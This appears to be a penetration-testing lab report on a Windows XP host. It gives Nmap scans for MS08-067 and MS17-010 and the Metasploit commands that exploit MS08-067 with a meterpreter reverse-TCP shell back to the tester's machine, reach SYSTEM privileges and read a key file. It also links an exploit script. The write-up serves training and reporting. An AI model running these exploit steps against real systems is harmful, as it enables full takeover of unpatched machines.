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TARGET: JOHN (10.1X.1.83)
Introduction
<VHL-ID or Name> was tasked to conduct an assessment on 10.1x.1.83. <VHL-ID or Name> began the 
assessment by enumerating open ports and services with Nmap, a utility for network discovery and 
security auditing. Using NMAP scripts, SMB protocol vulnerabilities were discovered.  The Metasploit 
framework was then used to exploit the discovered vulnerabilities, which resulted in getting NT AU-
THORITY\SYSTEM privileges on the target.

In this engagement, the following vulnerabilities were discovered:

OS: Windows XP SP3

Open ports: SMB [135, 139, 445], RDP [3389]

- Vulnerable to popular MS08-067 vulnerability.

- Vulnerable to popular MS17-010 vulnerability.

CVE IDs: CVE-2008-4250, CVE-2017-0144

Metasploit exploit: exploit/windows/smb/ms08_067_netapi

Alternative exploit: https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py

Contents of key.txt: [Insert key contents]

Testing Environment
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

Attack Narrative
- Run Nmap to determine OS and open ports.

- Run Nmap script scan to test the target for MS08-067 and MS17-010.

- Exploit MS08-067 and MS17-010 for a SYSTEM shell.

Information Gathering
First, we ran a Nmap scan to determine the OS version and services:

sudo nmap -sV -O 10.1x.1.83
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OS: Windows XP SP3

Open ports: SMB [135, 139, 445], RDP [3389]

Vulnerability identification
With Nmap, we could see that the target was potentially vulnerable to MS08-067 and MS17-010.

MS08-067
nmap --script smb-vuln-ms08-067.nse -p445 10.1x.1.83

The target was vulnerable to MS08-067/CVE-2008-4250.

Using Searchsploit, we found the following exploits for MS08-067:

searchsploit MS08-067

A search for MS08-067 in Metasploit resulted in the following exploit:

The found exploit was ranked as great, which meant that the exploit was very reliable and 
could most likely result in successful exploitation of MS08-067.
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MS17-010
nmap --script smb-vuln-ms17-010 -p445 10.1x.1.83

The target was also vulnerable to MS17-010/CVE-2017-0143.

Using Searchsploit, we could find the following exploits for MS08-067:

searchsploit MS17-010

The exploit titles indicated that most of the exploits applied to Windows 7/8/8.1 and Windows 
Server 2008 R2, 2012 R2 and 2016 R2. However, Windows XP SP3 (the identified OS) was not 
mentioned in any of the exploits.

A search for MS17-010 in Metasploit resulted in the following exploits:

After reviewing each of the Metasploit exploits, and finding that they all were crafted for 
64-bit Windows 7 and higher targets only, we decided to focus on exploiting MS08-067 with 
Metasploit.
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Exploitation using MS08-067
MS08-067 can be exploited with the following Metasploit module: exploit/windows/smb/
ms08_067_netapi

Commands:

msfconsole

use exploit/windows/smb/ms08_067_netapi

set rhost 10.1x.1.83

set payload windows/meterpreter/reverse_tcp

set lhost ppp0

run

The exploit executed successfully and we received a Meterpreter session with 
NT AUTHORITY\SYSTEM privileges on the target.

With the following commands we obtained the contents of the key.txt file:

shell

type C:\”Documents and Settings”\Administrator\Desktop\key.txt
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Mitigation	
We recommend upgrading to at least Windows 10, 3rd party software compatibility permitting.

Conclusion
John was vulnerable to attack by the popular MS08-067 and MS17-010 SMB exploit. We 
strongly recommend remediating this issue as soon as possible since it can lead to complete 
takeover of the target host by a threat actor. This will require upgrading the operating to the 
newest supported version; patching will be insufficient.
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